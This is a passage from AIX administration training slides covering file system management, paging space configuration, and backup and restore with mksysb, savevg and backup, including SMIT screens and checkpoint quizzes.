  # mkdir /ramdisk
  ```

- Mount RAM file system
  
  ```bash
  # mount -V jfs -o nointegrity /dev/ramdisk0 /ramdisk
  ```
Add a UDF file system on a DVD-RAM

• Create a UDF file system

```bash
# udfcreate -d /dev/cd0
```

• Change the label on a UDF file system

```bash
# udflabel -d /dev/cd0 -l testdvd
```

• Create a mount point

```bash
# mkdir /dvddisk
```

• Mount a UDF file system

```bash
# mount -V udfs -o rw /dev/cd0 /dvddisk
```

• Check a UDF file system

```bash
# udfcheck -d /dev/cd0
```
System storage review

Logical Volume Structure

File Systems

Directories

File Systems

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Checkpoint

1. Does the size of the file system change when the size of the logical volume it is on is increased? __________

3. If a file system is the same size as the logical volume on which it sits, does the size of the logical volume increase when the size of the file system that is residing on it increases? __________

5. If you remove a logical volume, is the file system that is residing on it removed as well? ________________________________________________
Checkpoint solutions

• Does the size of the file system change when the size of the logical volume it is on is increased? **No**

• If a file system is the same size as the logical volume on which it sits, does the size of the logical volume increase when the size of the file system that is residing on it increases? **Yes**

5. If you remove a logical volume, is the file system that is residing on it removed as well?

   The contents are removed, but the information about the file system that is contained in `/etc/filesystems` is not removed.
Exercise 10: Working with file systems (parts 2-6)

- Part 2: Creating a journaled file system
- Part 3: Changing the file system size
- Part 4: Reducing the size of a file system
- Part 5: Removing a file system
- Part 6: Working with mirrors
Unit summary

• The components of a JFS file system are the superblock, inodes, data blocks, and indirect blocks.

• Important issues to consider when creating a journaled file system are: fragment size, NBPI, allocation group size, compression, and whether it should be large file enabled.

• JFS2 supports large files, large file systems, and improves performance.

• File systems can be added and removed from the system, and their characteristics can also be changed, all through SMIT.
Unit 11
Managing file systems
Unit objectives

After completing this unit, you should be able to:
• Monitor file system growth and control growing files
• Manage file system disk space usage
• Implement basic file system integrity checks
Space management

• File systems expand upon notice, NOT automatically

• To keep from running into problems:
  – Monitor file system growth
  – Determine causes
  – Control growing files
  – Manage file system space usage
  – Control user disk usage
  – Defragment file system
Listing free disk space

- The `df` command displays information about total space and available space on a file system

```bash
# df
```

<table>
<thead>
<tr>
<th>Filesystem</th>
<th>512-blocks</th>
<th>Free</th>
<th>%Used</th>
<th>Iused</th>
<th>%lused</th>
<th>Mounted on</th>
</tr>
</thead>
<tbody>
<tr>
<td>/dev/hd4</td>
<td>294912</td>
<td>228088</td>
<td>23%</td>
<td>1925</td>
<td>7%</td>
<td>/</td>
</tr>
<tr>
<td>/dev/hd2</td>
<td>3309568</td>
<td>339408</td>
<td>90%</td>
<td>36788</td>
<td>47%</td>
<td>/usr</td>
</tr>
<tr>
<td>/dev/hd3</td>
<td>65536</td>
<td>37600</td>
<td>43%</td>
<td>479</td>
<td>11%</td>
<td>/var</td>
</tr>
<tr>
<td>/dev/hd3</td>
<td>131072</td>
<td>129352</td>
<td>2%</td>
<td>54</td>
<td>1%</td>
<td>/tmp</td>
</tr>
<tr>
<td>/dev/hd1</td>
<td>32768</td>
<td>32064</td>
<td>3%</td>
<td>5</td>
<td>1%</td>
<td>/home</td>
</tr>
<tr>
<td>/proc</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>/proc</td>
</tr>
<tr>
<td>/dev/hd10opt</td>
<td>163840</td>
<td>20760</td>
<td>88%</td>
<td>1617</td>
<td>36%</td>
<td>/opt</td>
</tr>
<tr>
<td>/dev/hd11admin</td>
<td>262144</td>
<td>261416</td>
<td>1%</td>
<td>5</td>
<td>1%</td>
<td>/admin</td>
</tr>
<tr>
<td>/dev/ramdisk0</td>
<td>8192</td>
<td>7848</td>
<td>5%</td>
<td>17</td>
<td>2%</td>
<td>/ramdisk</td>
</tr>
</tbody>
</table>
Control growing files

- /var/adm/WTMP
- /etc/security/failedlogin
- /var/adm/sulog
- /var/spool/*/*
- $HOME/smit.log
- $HOME/smit.script
- $HOME/websm.log
- $HOME/websm.script
The skulker command

• The **skulker** command cleans up file systems by removing unwanted or obsolete files

• Candidate files include:
  – Files older than a selected age
  – Files in the **/tmp** directory
  – **a.out** files
  – **core** files
  – **ed.hup** files

• **skulker** is normally invoked daily by the **cron** command as part of the **crontab** file of the **root** user

• Modify the **skulker** shell script to suit local needs for the removal of files
Listing disk usage

- The `du` command can be used to list the number of blocks used by a file or a directory

```
# du /home | sort -r -n

624  /home
392  /home/fred
98   /home/tom
54   /home/mary
52   /home/liz
23   /home/suzy
2    /home/guest
1    /home/steve
```

- To view individual file sizes, use the `ls -l` command
Fragmentation considerations

Without fragmentation

File size = 2000 bytes

With fragmentation

File size = 2000 bytes
Fragment size = 1024 bytes

Considerations to be made:
- Disk space allocation
- Disk space utilization
- I/O activity
- Free space fragmentation
- Fragment allocation map
Defragmenting a file system

- The `defragfs` command increases a file system's contiguous free space
- The file system must be mounted

```
defragfs [-q | -r | -s] filesystem
```

Options:

- **-q** Reports the current state of the file system
- **-r** Reports the current state of the file system and the state that would result if the `defragfs` command is run without either `-q`, `-r` or `-s`
- **-s** Gives short report regarding the current state of the file system
Verify a file system

- Command syntax:

  \texttt{fsck [-p | -y | -n] [-f] [ file system ]}

- Checks journal log

- Checks inodes, indirect blocks, data blocks, free lists

- If no file system name is specified, the \texttt{fsck} command checks all file systems which have the \texttt{check=true} attribute set in the \texttt{/etc/filesystems}

- Orphan files are placed in the \texttt{lost+found} directory

- Unmount the file system before running \texttt{fsck}
Documenting file system setup

- Run the `lsfs` command
- Get the contents of the `/etc/filesystems` file
- Run the `df` command to check free space
- Check all the mounted file systems by running the `mount` command
1. What command can you use to determine if a file system is full? ____________

4. What two commands can be used to find the files and users that are taking the most disk space?
   • ____________
   • ____________

7. True or False? It is good practice to run `fsck -y` on all file systems, even if they are mounted.
1. What command can you use to determine if a file system is full? **df**

4. What two commands can be used to find the files and users that are taking the most disk space?
   - **du**
   - **ls -l**

7. True or False? It is good practice to run **fsck -y** on all file systems, even if they are mounted.
Exercise 11: Managing file systems

- Part 1 - Determining file system usage
- Part 2 - Using fragments for disk usage efficiency
- Part 3 - Using JFS compression
- Part 4 - Fixing file system problems
Unit summary

- File system **management** does not just happen on the system. File systems need to be regularly **monitored** to ensure that they do not run out of space.

- To ensure the **integrity** of file systems, **checks** have to be carried out whenever file system corruption is suspected.
Unit 12
Paging space
Unit objectives

After completing this unit, you should be able to:

• Define why paging space is required in AIX
• List and monitor the paging space utilization of the system
• Perform corrective actions to rectify too little or too much paging space scenarios
What is paging space?

RAM = 256 MB

RAM Usage

<table>
<thead>
<tr>
<th>Operating System</th>
<th>Database</th>
<th>TCP/IP</th>
<th>8 MB FREE</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Current applications
Total = 248 MB

New application needs RAM > 8 MB

Paging Space

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Paging space

- Is a secondary storage area for over-committed memory
- Holds inactive 4 KB pages on disk
- Is not a substitute for real memory
Sizing paging space

- Created at installation up to twice the size of real memory
- Amount needed is dependent on applications
- Monitor paging space: `lsps -a`
- Running low on paging space is bad

```bash
# ksh: cannot fork no swap space
```
Paging space placement

- Only one paging space per disk
- Use disks with the least activity
- Paging spaces roughly the same size
- Do not extend paging space to multiple physical volumes
- Use multiple disk controllers
Checking paging space

• Check paging activity:

```
# lsps -a
```

<table>
<thead>
<tr>
<th>Page Space</th>
<th>Physical Volume</th>
<th>Volume Group</th>
<th>Size</th>
<th>%Used</th>
<th>Active</th>
<th>Auto</th>
<th>Type</th>
<th>chksum</th>
</tr>
</thead>
<tbody>
<tr>
<td>hd6</td>
<td>hdisk0</td>
<td>rootvg</td>
<td>64MB</td>
<td>43</td>
<td>yes</td>
<td>yes</td>
<td>lv</td>
<td>0</td>
</tr>
<tr>
<td>paging00</td>
<td>hdisk2</td>
<td>rootvg</td>
<td>64MB</td>
<td>20</td>
<td>yes</td>
<td>yes</td>
<td>lv</td>
<td>0</td>
</tr>
</tbody>
</table>

• Check total RAM:

```
# lsattr -El sys0 -a realmem
realmem 262144 Amount of usable physical memory in KB False
```

• Check paging space activated at startup:

```
# cat /etc/swapspaces
...
hd6:
    dev=/dev/hd6
...
paging00:
    dev=/dev/paging00
```
Adding paging space

# smit mkps

Add Another Paging Space

Type or select values in entry fields.
Press Enter AFTER making all desired changes.

[Entry Fields]

Volume group name                                rootvg
SIZE of paging space (in logical partitions)    [4]

PHYSICAL VOLUME name                             hdisk2    +
Start using this paging space NOW?               no        +
Use this paging space each time the system is    no        +
    RESTARTED?

F1=Help         F2=Refresh         F3=Cancel        F4=List
F5=Reset        F6=Command         F7=Edit          F8=Image
F9=Shell        F10=Exit           Enter=Do
Change paging space

# smit chps

Change / Show Characteristics of a Paging Space

Type or select values in entry fields.
Press Enter AFTER making all desired changes.

[Entry Fields]

Paging space name            paging00
Volume group name             rootvg
Physical volume name          hdisk2
NUMBER of additional logical partitions   []          #
Or NUMBER of logical partitions to remove     []         #
Use this paging space each time the system is restarted? yes +

F1=Help                F2=Refresh                F3=Cancel               F4=List
F5=Reset               F6=Command                F7=Edit                 F8=Image
F9=Shell                F10=Exit                  Enter=Do
Remove paging space

To remove an active paging space:

- Make inactive
  
  ```
  # swapoff /dev/paging00
  ```

- Remove inactive paging space
  
  ```
  # rmmps paging00
  ```

NOTE: /dev/hd6 cannot be removed using this process
Problems with paging space

• Paging space too small:
  Dynamically increase the size by allocating more partitions
  \texttt{chps -s \textit{LogicalPartitions PagingSpace}}

  Example:
  \# \texttt{chps -s 1 paging00}

• Paging space too large:
  Dynamically decrease the size by deallocating partitions
  \texttt{chps -d \textit{LogicalPartitions PagingSpace}}

  Example:
  \# \texttt{chps -d 1 paging00}
Documenting paging space setup

- Run the `lsps` command
- Have a hardcopy of the `/etc/swapspace` file
1. What conclusions regarding potential paging space problems can you reach based on the following listing?

<table>
<thead>
<tr>
<th>Page</th>
<th>Physical Space</th>
<th>Volume</th>
<th>Size</th>
<th>%Used</th>
<th>Active</th>
<th>Auto</th>
<th>Type</th>
<th>chksum</th>
</tr>
</thead>
<tbody>
<tr>
<td>hd6</td>
<td>hdisk0</td>
<td>rootvg</td>
<td>64 MB</td>
<td>43%</td>
<td>yes</td>
<td>yes</td>
<td>lv</td>
<td>0</td>
</tr>
<tr>
<td>paging00</td>
<td>hdisk1</td>
<td>rootvg</td>
<td>64 MB</td>
<td>7%</td>
<td>yes</td>
<td>yes</td>
<td>lv</td>
<td>0</td>
</tr>
<tr>
<td>paging01</td>
<td>hdisk1</td>
<td>rootvg</td>
<td>16 MB</td>
<td>89%</td>
<td>yes</td>
<td>yes</td>
<td>lv</td>
<td>0</td>
</tr>
</tbody>
</table>

• True or False? The size of **paging00** (in the above example) can be dynamically decreased.
1. What conclusions regarding potential paging space problems can you reach based on the following listing?

<table>
<thead>
<tr>
<th>Page</th>
<th>Physical Volume</th>
<th>Volume</th>
<th>Size</th>
<th>%Used</th>
<th>Active</th>
<th>Auto</th>
<th>Type</th>
<th>chksum</th>
</tr>
</thead>
<tbody>
<tr>
<td>hd6</td>
<td>hdisk0</td>
<td>rootvg</td>
<td>64 MB</td>
<td>43%</td>
<td>yes</td>
<td>yes</td>
<td>lv</td>
<td>0</td>
</tr>
<tr>
<td>paging00</td>
<td>hdisk1</td>
<td>rootvg</td>
<td>64 MB</td>
<td>7%</td>
<td>yes</td>
<td>yes</td>
<td>lv</td>
<td>0</td>
</tr>
<tr>
<td>paging01</td>
<td>hdisk1</td>
<td>rootvg</td>
<td>16 MB</td>
<td>89%</td>
<td>yes</td>
<td>yes</td>
<td>lv</td>
<td>0</td>
</tr>
</tbody>
</table>

Obviously, it is difficult to come to any conclusions regarding the state of this system just by looking at a snapshot picture like the one above. However, at first glance, the following potential problems can be noticed:

- paging00 is underutilized, and it is too large. It needs to be reduced in size.
- paging01 is over utilized, and the size seems to be too small. It needs to be increased in size.
- Both user-defined paging spaces are on the same disk. It would be better if one of them were moved onto a disk which is less utilized.

- True or False? The size of paging00 (in the above example) can be dynamically decreased.
Exercise 12: Paging space

- List paging space
- Add another paging space
- Change the characteristics of a paging space
- Remove paging space
Unit summary

- Paging space is a **requirement** in AIX for the system to boot up. The default paging space is `/dev/hd6`.

- The percent utilization of all the paging spaces should be regularly **monitored** to ensure that the system has the correct amount of page space defined. The `lspact` **command** can be used to do this.

- Paging space can be **inactivated** and the **size** can be increased or decreased dynamically.
Welcome to:

Unit 13
Backup and Restore
Unit objectives

After completing this unit, you should be able to:
• Identify issues which have to be considered when deciding which backup policies to implement:
  – Media to be used
  – Frequency of the backup
  – Type of backup
• List the different backup methods supported through SMIT and on the command line
• Create a customized installable system image backup
• Execute other useful commands to manipulate the backed up data on the media
Why backup?

• Data is very important:
  – Expensive to re-create
  – Can it be re-created?

• Disaster recovery:
  – Hardware failure
  – Damage due to installation/repair
  – Accidental deletion

• Transfer of data between systems

• Reorganizing file systems

• Defragmentation to improve performance

• System image for installation

• Checkpoint (before and after upgrade)

• Long term archive
Types of backup

Three types of backup:

- **System**
  - Records image backup of the operating system

- **Full**
  - Preserves all user data and configuration files

- **Incremental**
  - Records changes since previous backups
  - Must be used carefully
  - Very quick
Backup strategy

Backup all data that changes!

- System backup
- Full backup
- Incremental backup
Backup devices - diskette

/dev/fd0 - Built in 3 1/2-inch diskette drive

/dev/fd1 - Second diskette drive

<table>
<thead>
<tr>
<th>Drive</th>
<th>3 1/2-inch (1.44)</th>
<th>3 1/2-inch (2.88)</th>
</tr>
</thead>
<tbody>
<tr>
<td>/dev/fdxl</td>
<td>720 KB</td>
<td>720 KB</td>
</tr>
<tr>
<td>/dev/fdxh</td>
<td>1.44 MB</td>
<td>2.88 MB</td>
</tr>
<tr>
<td>/dev/fdx.9</td>
<td>720 KB</td>
<td>720 KB</td>
</tr>
<tr>
<td>/dev/fdx.18</td>
<td>1.44 MB</td>
<td>1.44 MB</td>
</tr>
<tr>
<td>/dev/fdx.36</td>
<td>-</td>
<td>2.88 MB</td>
</tr>
</tbody>
</table>
## Backup devices - tape

- 4 mm DAT
- 8 mm
- 1/2 - inch
- DLT
- VX A
- QIC

<table>
<thead>
<tr>
<th></th>
<th>Low Capacity</th>
<th>Retension on Open</th>
<th>Rewind on Close</th>
</tr>
</thead>
<tbody>
<tr>
<td>/dev/rmtx</td>
<td>no</td>
<td>no</td>
<td>yes</td>
</tr>
<tr>
<td>/dev/rmtx.1</td>
<td>no</td>
<td>no</td>
<td>no</td>
</tr>
<tr>
<td>/dev/rmtx.2</td>
<td>no</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>/dev/rmtx.3</td>
<td>no</td>
<td>yes</td>
<td>no</td>
</tr>
<tr>
<td>/dev/rmtx.4</td>
<td>yes</td>
<td>no</td>
<td>yes</td>
</tr>
<tr>
<td>/dev/rmtx.5</td>
<td>yes</td>
<td>no</td>
<td>no</td>
</tr>
<tr>
<td>/dev/rmtx.6</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>/dev/rmtx.7</td>
<td>yes</td>
<td>yes</td>
<td>no</td>
</tr>
</tbody>
</table>
Backup device - read/write optical drive

- Use with CD-ROM file system for read only operations
- Use with journal file systems for read/write operation

For CD:
- OEM CD-RW drive
- Third-party CD burn software (AIX Toolbox for Linux Applications)

For DVD:
- Need 7210 DVD-RAM drive
- No additional software needed for UDF format
Backup device – 7210 external DVD-RAM drive

• Writes DVD-RAM media
• Reads DVD media in 2.6 GB, 4.7 GB, 5.2 GB, and 9.4 GB
• Supports CD-ROM media in Modes 1 or 2, XA, and CDDA and audio formats
• Reads multi-session disks, CD-R, CD-ROM, and CD-RW disks
• Loading tray accommodates 8 cm and 12 cm media
• SCSI attachable
rootvg backup process - mksysb

- Backs up rootvg only
- Unmounted file systems are not backed up
- Bootable tape is created in backup format
- Provides facilities for a non-interactive installation
- Saves system-created paging space definitions
- Saves logical volume policies
- There should be minimal user and application activity
/image.data file for rootvg

image data:

IMAGE_TYPE= bff
DATE_TIME= Fri Nov 29 10:23:36 NFT 2007
UNAME_INFO= AIX ibm150 2 5 00428DFB4C00
PRODUCT_TAPE= no
USERVG_LIST=
PLATFORM= chrp
OSLEVEL= 6.1.0.0
CPU_ID= 00428DFB4C00

logical_volume_policy:
    SHRINK= no
    EXACT_FIT= no

ils_data:
    LANG= en_US

#Command used for vg_data, /usr/sbin/lsvg
vg_data:

    VGNAME= rootvg
    PPSIZE= 16
    VARYON= yes
    VG_SOURCE_DISK_LIST= hdisk0
    BIGVG= no
    TFACTOR= 1

#Command used for source_disk_data: /usr/sbin/bootinfo
source_disk_data: (stanza is repeated for each disk in rootvg)

    PVID=(physical volume id)
    LOCATION=(disk location)
    SIZE_MB=(size of disk in megabytes)
    HDISKNAME=(disk name)

#Command used for lv_data; /usr/sbin/lsvl
lv_data: (stanza for each logical volume in rootvg)

fs_data: (stanza for each MOUNTED filesystem in rootvg)
/bosinst.data file for rootvg

control_flow:
  CONSOLE = Default
  INSTALL_METHOD = overwrite
  PROMPT = yes
  EXISTING_SYSTEM_OVERWRITE = yes
  INSTALL_X_IF_ADAPTER = yes
  RUN_STARTUP = yes
  RM_INST_ROOTS = no
  ERROR_EXIT =
  CUSTOMIZATION_FILE =
  TCB = no
  INSTALL_TYPE =
  BUNDLES =
  RECOVER_DEVICES = Default
  BOSINST_DEBUG = no
  ACCEPT_LICENSES =
  DESKTOP = CDE
  INSTALL_DEVICES_AND_UPDATES = yes
  IMPORT_USER_VGS =
  ENABLE_64BIT_KERNEL = no
  CREATE_JFS2_FS = no
  ALL_DEVICES_KERNELS = yes
  (some bundles ....)

target_disk_data:
  LOCATION =
  SIZE_MB =
  HDISKNAME =

locale:
  BOSINST_LANG =
  CULTURAL_CONVENTION =
  MESSAGES =
  KEYBOARD =
# smit sysbackup

## Back Up the System

Move cursor to desired item and press Enter.

- Back Up This System to Tape/File
- Back Up This System to CD
- Create a Generic Backup CD or DVD
- Back Up This System to DVD

F1=Help      F2=Refresh      F3=Cancel      F8=Image
F9=Shell      F10=Exit       Enter=Do
rootvg - Back Up This System to Tape/File

# smit mksysb

Back Up This System to Tape/File

Type or select values in entry fields. 
Press Enter AFTER making all desired changes.

WARNING: Execution of the mksysb command will result in the loss of all material previously stored on the selected output medium. This command backs up only rootvg volume group.

* Backup DEVICE or FILE          []+/
Create MAP files?                  no +
EXCLUDE files?                    +
List files as they are backed up?  no +
Verify readability if tape device? no +
Generate new /image.data file?      yes +
EXPAND /tmp if needed?             no +
Disable software packing of backup? no +
Backup extended attributes?        yes +
Number of BLOCKS to write in a single output [] #
   (Leave blank to use a system default)
Location of existing mksysb image  [] /
File system to use for temporary work space [] /
   (If blank, /tmp will be used.)
Backup encrypted files?            yes +
Back up DMAPI filesystem files?    yes +

[BOTTOM]
mksysb image

Blocksize = 512

BOS Boot image

mkinsttape image

Blocksize = 512

dummy .toc

Blocksize = 512

rootvg data

Tape Drive Blocksize

Kernel Device Drivers

./image.data
./bosinst.data
./tapeblkSz

Dummy TOC

Backup by name

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# smit vgbackup

Back Up a Volume Group

Move cursor to desired item and press Enter.

Back Up a Volume Group to Tape/File
Back Up a Volume Group to CD
Back Up a Volume Group to DVD

F1=Help      F2=Refresh      F3=Cancel      F8=Image
F9=Shell      F10=Exit       Enter=Do
Back Up a Volume Group to Tape/File

# smit savevg

[Entry Fields]

WARNING: Execution of the savevg command will result in the loss of all material previously stored on the selected output medium.

* Backup DEVICE or FILE [ ] +/
* VOLUME GROUP to back up [ ] +
  List files as they are backed up? no +
  Generate new vg.data file? yes +
  Create MAP files? no +
  EXCLUDE files? no +
  EXPAND /tmp if needed? no +
  Disable software packing of backup? no +
  Backup extended attributes? yes +
  Number of BLOCKS to write in a single output [ ] #
    (Leave blank to use a system default)
  Verify readability if tape device no +
  Backup Volume Group information files only? no +
  Backup encrypted files? yes +
  Back up DMAPI filesystem files? yes +
Restoring a mksysb (1 of 2)

- Boot the system in install/maintenance mode:

```
Welcome to Base Operating System
Installation and Maintenance

1  Start Install Now With Default Settings
2  Change/Show Installation Settings and Install
>> 3  Start Maintenance Mode for System Recovery
4  Configure Network Disks (iSCSI)
```

```
Maintenance

1  Access A Root Volume Group
2  Copy a System Dump to Removable Media
3  Access Advanced Maintenance Functions
4  Erase Disks ....
>> 6  Install from a System Backup
```

```
Choose Tape Drive

Tape Drive          Path Name
>> 1  tape/scsi/4mm/2GB   /dev/rmt0
```
Welcome to Base Operating System Installation and Maintenance

Type the number of your choice and press Enter. Choice is indicated by >>.

1  Start Install Now With Default Settings
2  Change/Show Installation Settings and Install
3  Start Maintenance Mode for System Recovery
4  Configure Network Disks (iSCSI)

System Backup Installation and Settings

Type the number of your choice and press Enter.

1  Disk(s) where you want to install  hdisk0
2  Use Maps  No
3  Shrink Filesystems  No
0  Install with the settings listed above
Remake/Restore a non-rootvg volume group

# smit restvg

Remake a Volume Group

Type or select values in entry fields. Press Enter AFTER making all desired changes.

[Entry Fields]

* Restore DEVICE or FILE

SHRINK the filesystems?

no +

Recreate logical volumes and filesystems only

no +

PHYSICAL VOLUME names

[] +

(Leave blank to use the PHYSICAL VOLUMES listed in the vgname.data file in the backup image)

Use existing MAP files?

yes +

Physical partition SIZE in megabytes

[] +#

(Leave blank to have the SIZE determined based on disk size)

Number of BLOCKS to read in a single input

[] #

(Leave blank to use a system default)

Alternate vg.data file

[] /

(Leave blank to use vg.data stored in backup image)
mksysb - ISO9660 burn image

mksysb image
packages
bundle file
cust script
bosinst.data
image.data

burn image

CD or DVD
**mksysb - UDF DVD**

- **mksysb** image
- packages
- bundle file
- cust script
- bosinst.data
- image.data

**UDF DVD**

File system
# smit mkcd

## Back Up This System to CD

Type or select values in entry fields. Press Enter AFTER making all desired changes.

<table>
<thead>
<tr>
<th>Entry Fields</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>CD-R Device</td>
<td></td>
</tr>
<tr>
<td>mkysyb creation options:</td>
<td></td>
</tr>
<tr>
<td>Create map files?</td>
<td>no</td>
</tr>
<tr>
<td>Exclude files?</td>
<td>no</td>
</tr>
<tr>
<td>Disable software packing of backup?</td>
<td>no</td>
</tr>
<tr>
<td>Backup extended attributes?</td>
<td>yes</td>
</tr>
<tr>
<td>File system to store mkysyb image</td>
<td></td>
</tr>
<tr>
<td>File system to store CD file structure</td>
<td></td>
</tr>
<tr>
<td>File system to store final CD images</td>
<td></td>
</tr>
<tr>
<td>If file systems are being created:</td>
<td></td>
</tr>
<tr>
<td>Volume Group for created file systems</td>
<td>[rootvg]</td>
</tr>
<tr>
<td>Advanced Customization Options:</td>
<td></td>
</tr>
<tr>
<td>Do you want the CD to be bootable?</td>
<td>yes</td>
</tr>
<tr>
<td>Remove final images after creating CD?</td>
<td>yes</td>
</tr>
<tr>
<td>Create the CD now?</td>
<td>yes</td>
</tr>
<tr>
<td>Install bundle file</td>
<td></td>
</tr>
<tr>
<td>File with list of packages to copy to CD</td>
<td></td>
</tr>
<tr>
<td>Location of packages to copy to CD</td>
<td></td>
</tr>
<tr>
<td>Customization script</td>
<td></td>
</tr>
<tr>
<td>User supplied bosinst.data file</td>
<td></td>
</tr>
<tr>
<td>Debug output?</td>
<td>no</td>
</tr>
<tr>
<td>User supplied image.data file</td>
<td></td>
</tr>
<tr>
<td>Backup encrypted files?</td>
<td>yes</td>
</tr>
<tr>
<td>Backup DMAPI filesystem files?</td>
<td>Yes</td>
</tr>
</tbody>
</table>
rootvg - Back Up This System to ISO9660 DVD

# smit mkdvd -> Select 1 ISO9660 (CD format)

Back Up This System to ISO9660 DVD

Type or select values in entry fields.
Press Enter AFTER making all desired changes.

[Entry Fields]

DVD-R or DVD-RAM Device: [ ] +
mkysyb creation options:
  Create map files?: no +
  Exclude files?: no +
Disable software packing of backup?: no +
Backup extended attributes?: yes +
File system to store mksysb image: [ ] /
File system to store DVD file structure: [ ] /
File system to store final DVD images: [ ] /
If file systems are being created:
  Volume Group for created file systems: [rootvg] +
Advanced Customization Options:
Do you want the DVD to be bootable?: yes +
Remove final images after creating DVD?: yes +
Create the DVD now?: yes +
Install bundle file: [ ] /
File with list of packages to copy to DVD: [ ] /
Location of packages to copy to DVD: [ ] +/
Customization script: [ ] /
User supplied bosinst.data file: [ ] /
Debug output?: no +
User supplied image.data file: [ ] /
Backup encrypted files?: yes +
Back up DMAPI filesystem files?: yes +

[BOTTOM]
# smit mkdvd -> Select 2 UDF (Universal Disk Format)

Back Up This System to UDF DVD

Type or select values in entry fields.
Press Enter AFTER making all desired changes.

[Entry Fields]

DVD-RAM Device

mkysyb creation options:
Create map files? no +
Exclude files? no +
Disable software packing of backup? no +
Backup extended attributes? yes +
File system to store mkysyb image [rootvg] /
(If blank, the file system will be created for you.)

If file system is being created:
Volume Group for created file system [rootvg] +

Advanced Customization Options:
Do you want the DVD to be bootable? yes +
Install bundle file [ ] /
File with list of packages to copy to DVD [ ] /
Location of packages to copy to DVD [ ] +/
Customization script [ ] /
User supplied bosinst.data file [ ] /
Debug output? no +
User supplied image.data file [ ] /
Backup encrypted files? Yes +
Back up DMAPI filesystem files? yes +

[BOTTOM]
Back Up a Volume Group to CD

# smit savevgcd

Back Up a Volume Group to CD

Type or select values in entry fields.
Press Enter AFTER making all desired changes.

[Entry Fields]

CD-R Device

* Volume Group to back up

savevg creation options:

Create map files? no +
Exclude files? no +
Disable software packing of backup? no +
Backup extended attributes? yes +

File system to store savevg image
File system to store CD file structure
File system to store final CD images
If file systems are being created:

Volume Group for created file systems [rootvg] +

Advanced Customization Options:
Remove final images after creating CD? yes +
Create the CD now? yes +
Debug output? no +
Backup Volume Group information files only? no +
Backup encrypted files? Yes +
Back up DMAPI filesystem files? yes +

[BOTTOM]

F1=Help F2=Refresh F3=Cancel F4=List
F5=Reset F6=Command F7=Edit F8=Image
F9=Shell F10=Exit Enter=Do

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Back Up a Volume Group to ISO9660 DVD

```# smit savevgdvd```

Back Up a Volume Group to ISO9660 DVD

Type or select values in entry fields.
Press Enter AFTER making all desired changes.

[Entry Fields]

- **DVD-R or DVD-RAM Device**
- **Volume Group to back up**

**savevg creation options:**
- **Create map files?**
- **Exclude files?**
- **Disable software packing of backup?**
- **Backup extended attributes?**

- **File system to store savevg image**
- **File system to store DVD file structure**
- **File system to store final DVD images**
- **Volume Group for created file systems**

**Advanced Customization Options:**
- **Remove final images after creating DVD?**
- **Create the DVD now?**
- **Debug output?**
- **Backup encrypted files?**
- **Back up DMAPI filesystem files?**

[F1=Help F2=Refresh F3=Cancel F4=List F5=Reset F6=Command F7=Edit F8=Image F9=Shell F10=Exit Enter=Do]
Back Up a Volume Group to UDF DVD

# smit savevgdvd

Back Up a Volume Group to ISO9660 DVD

Type or select values in entry fields. Press Enter AFTER making all desired changes.

<table>
<thead>
<tr>
<th>[Entry Fields]</th>
</tr>
</thead>
<tbody>
<tr>
<td>DVD-RAM Device:</td>
</tr>
<tr>
<td>* Volume Group to back up:</td>
</tr>
<tr>
<td>savevg creation options:</td>
</tr>
<tr>
<td>Create map files?:</td>
</tr>
<tr>
<td>Exclude files?:</td>
</tr>
<tr>
<td>Disable software packing of backup?:</td>
</tr>
<tr>
<td>Backup extended attributes?:</td>
</tr>
<tr>
<td>File system to store savevg image:</td>
</tr>
<tr>
<td>(If blank, the file system will be created for you.)</td>
</tr>
<tr>
<td>If file systems are being created:</td>
</tr>
<tr>
<td>Volume Group for created file systems:</td>
</tr>
<tr>
<td>Advanced Customization Options:</td>
</tr>
<tr>
<td>Debug output?:</td>
</tr>
<tr>
<td>Backup Volume Group information files only?:</td>
</tr>
<tr>
<td>Backup encrypted files?:</td>
</tr>
<tr>
<td>Back up DMAPI filesystem files?:</td>
</tr>
</tbody>
</table>

[F1=Help  F2=Refresh  F3=Cancel  F4=List  F5=Reset  F6=Command  F7=Edit  F8=Image  F9=Shell  F10=Exit  Enter=Do]
Exercise 13: Using backup and restore (part 1)

- Part 1 - Using SMIT to backup a non-rootvg volume group
Back up by filename

```
```

-q Media is ready
-v Verbose - display filenames during backup
-p Pack files which are less than 2 GB
-U Specifies to backup any ACLs
-Z Backs up the Encrypted File System (EFS)

Filenames are read from standard input
Back up by filename examples

• Example 1: Read input from a file

```bash
# cat listfile
/home/roy/file1
/home/roy/file2
/home/roy/file3
# backup -iqvf /dev/rmt0 < listfile
```

• Example 2: Use `find` to generate list

```bash
# find /home/roy | backup -iqvf /dev/rmt0
# cd /home/roy
# find . | backup -iqvf /dev/rmt0
```

Relative versus full filenames will impact location of files on recovery!
# smit backfile

**Backup a File or Directory**

Type or select values in entry fields. Press Enter AFTER making all desired changes.

This option will perform a backup by name.

<table>
<thead>
<tr>
<th>Entry Fields</th>
</tr>
</thead>
<tbody>
<tr>
<td>Backup DEVICE</td>
</tr>
<tr>
<td>FILE or DIRECTORY to backup</td>
</tr>
<tr>
<td>Current working DIRECTORY</td>
</tr>
<tr>
<td>Backup LOCAL files only?</td>
</tr>
<tr>
<td>VERBOSE output?</td>
</tr>
<tr>
<td>PACK files?</td>
</tr>
<tr>
<td>Backup extended attributes?</td>
</tr>
<tr>
<td>Back up EFS Attributes?</td>
</tr>
</tbody>
</table>

F1=Help      F2=Refresh      F3=Cancel      F4=List
F5=Reset     F6=Command      F7=Edit       F8=Image
F9=Shell     F10=Exit        Enter=Do
Back up a file system by inode

Syntax:
```
backup [-u] [-level] [-f device] filesystem
```

- Levels provide incremental backups:
  - 0 Full file system back up
  - 1, -2, etc Backup changes since level -1
  - u Updates `/etc/dumpdates`
    ( `/etc/dumpdates` contains a backup history)

```
# backup  -u -1 -f /dev/rmt0  /home
```
# Incremental backup example

<table>
<thead>
<tr>
<th>Sun</th>
<th>Mon</th>
<th>Tue</th>
<th>Wed</th>
<th>Thur</th>
<th>Fri</th>
<th>Sat</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
